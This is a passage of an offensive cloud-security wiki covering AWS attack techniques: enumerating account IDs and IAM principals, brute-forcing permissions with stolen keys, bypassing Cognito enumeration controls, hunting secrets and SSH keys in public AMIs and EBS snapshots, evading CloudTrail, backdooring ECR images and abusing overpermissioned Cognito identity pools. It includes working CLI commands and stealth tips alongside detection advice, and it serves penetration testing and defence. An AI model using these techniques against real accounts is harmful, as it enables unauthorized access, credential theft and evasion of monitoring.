      user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n
      "},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"

      By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.

      TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n
      The output will reveal additional information.
      {\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"
      • Original Research

        Finding the Account ID of any public S3 bucket by Ben Bridts

      • Tools mentioned in this article

        s3-account-search: A tool to find the account ID an S3 bucket belongs to.

      Note

      When you install a version <0.2.0 using pip, the executable is named s3-account-search.

      By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

      To test this, you can use Grayhat Warfare's list of public S3 buckets.

      You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"

      The tool can be installed with the following command:

      python3 -m pip install s3-account-search\n
      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"

      To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

      "},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"
      s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n

      Operational Security Tip

      As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the GetObject, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022.

      ```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n

      Tip

      Pair this with Unauthenticated Enumeration of IAM Users and Roles!

      "},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"
      • Technique seen in the wild

        Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

      • Tools mentioned in this article

        enumerate-iam: Enumerate the permissions associated with an AWS credential set.

      When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

      This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.

      To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

      user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n
      "},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"

      With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.

      cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n

      This will create or update a file named bruteforce_tests.py under enumerate-iam.

      "},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"

      One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"
      • Additional Resources

        AWS Docs: Managing user existence error responses

      Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

      By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

      While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

      Note

      Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"

      To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

      Note

      The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"
      $ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n

      As you can see, an adversary can use the UserNotFoundException and NotAuthorizedException to enumerate whether an account does or does not exist. By enabling the Prevent user existence errors configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"

      The Prevent user existence errors configuration appears to only impact the initiate-auth flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and user exists","text":"
      $ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"
      $ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    \"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n
      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"

      If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in Unconfirmed user accounts.

      Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.

      "},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"

      If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the userIdentity who made the API call is Anonymous

      {\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n

      And the username and userAttributes are hidden:

      \"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n

      For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated sourceIPAddress, but not access their details.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"
      • Original Research

        AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.

      For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"

      Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

      However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

      aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"

      Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"

      To launch an instance from a public AMI, follow these steps:

      1. Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI:
        aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>\n
      2. Access the Instance: Once the instance is running, connect to it using Session Manager or SSH:
        ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"

      Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

      1. Search for AWS Credentials:
        find / -name \"credentials\" -type f\n
      2. Search for SSH Keys:
        find / -name \"id_rsa\" -type f\n
      3. Look for Configuration Files Containing Sensitive Information: Use grep to locate keywords such as 'password', 'secret', 'key', etc.
        grep -ri 'password\\|secret\\|key' /path/to/search\n
      "},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"

      While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale.

      You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:

      1. Using Bash Scripts: Create a script that executes various find and grep commands. Save this as scan.sh:
        #!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n
        Run the script on each instance:
        chmod +x scan.sh\n./scan.sh\n
      2. Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.
      "},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"
      • Original Research

        Hacking AWS end-to-end - remastered by Daniel Grzelak

      • Additional Resources

        Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)

      • Tools mentioned in this article

        • quiet-riot
        • enumerate_iam_using_bucket_policy
        • pacu:iam_enum_roles

      You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

      Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

      {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n

      You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.

      There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.

      Warning

      Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).

      Note

      While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.

      Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
      "},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"
      • Original Research

        Reversing AWS IAM unique IDs by Aidan Steele

      • Additional Resources

        Reference: Unique identifiers

      When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

      For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

      To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

      First, we will create a role with the following trust policy:

      {\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      We will then save the policy and refresh the page.

      Note

      You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.

      After refreshing the page the policy will now be as follows:

      {\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

      This reveals the ARN of the role associated with the original unique identifier.

      "},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"

      Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

      From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

      If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

      There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
      "},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"
      • Original Research

        • AWS Access Key ID Formats by Aidan Steele
        • A short note on AWS KEY ID by Tal Be'ery

      While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

      To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

      "},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"

      Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

      user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n
      "},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"

      As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself.

      By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:

      import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z & mask)>>7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"

      For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"

      EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"

      A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

      A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

      To pull this list in an easily consumable format you can use the following CLI command:

      aws ec2 describe-snapshots --restorable-by-user-ids all\n

      As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

      Tip

      This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

      To search for all public EBS snapshots associated with an AWS account, use the following command:

      aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"

      To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

      ./prowler -c ec2_ebs_public_snapshot\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"

      When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {\"add\": {\"items\": [{ \"groups\": \"all\" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"

      For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

      "},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"

      After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

      Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

      Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

      An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n
      "},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"

      sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

      user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n
      "},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"
      • Original Research

        • Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie
        • Docker Security : Backdooring Images with Dockerscan by Mayank Shah
      • Required IAM Permissions

        Read and write access to an ECR registry

      IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

      This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

      Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

      Video Summary:

      • An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
      • The attacker gains access to resources using access to ECR
      • The attacker pulls the latest docker image
      • The attacker adds a layer by injecting a malicious payload to the docker image
      • The attacker pushes the docker image to ECR with the latest tag
      • The victim pulls the latest docker image and starts the container
      • The malicious reverse shell is executed and communicates with the attacker
      • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

      Security Recommendations:

      • Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR
      • Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.
      • Enforce signing of docker images
      • (see: https://github.com/notaryproject/notary)
      • Use docker custom security profiles like AppArmor, Seccomp
      • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

      Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"
      • Additional Resources

        • Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed
        • AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang

      A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

      If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

      Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"

      The process usually involves two key steps:

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"

      This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

      When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"

      The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

      However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"

      The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

      aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n
      and then:
      aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"

      The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

      However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

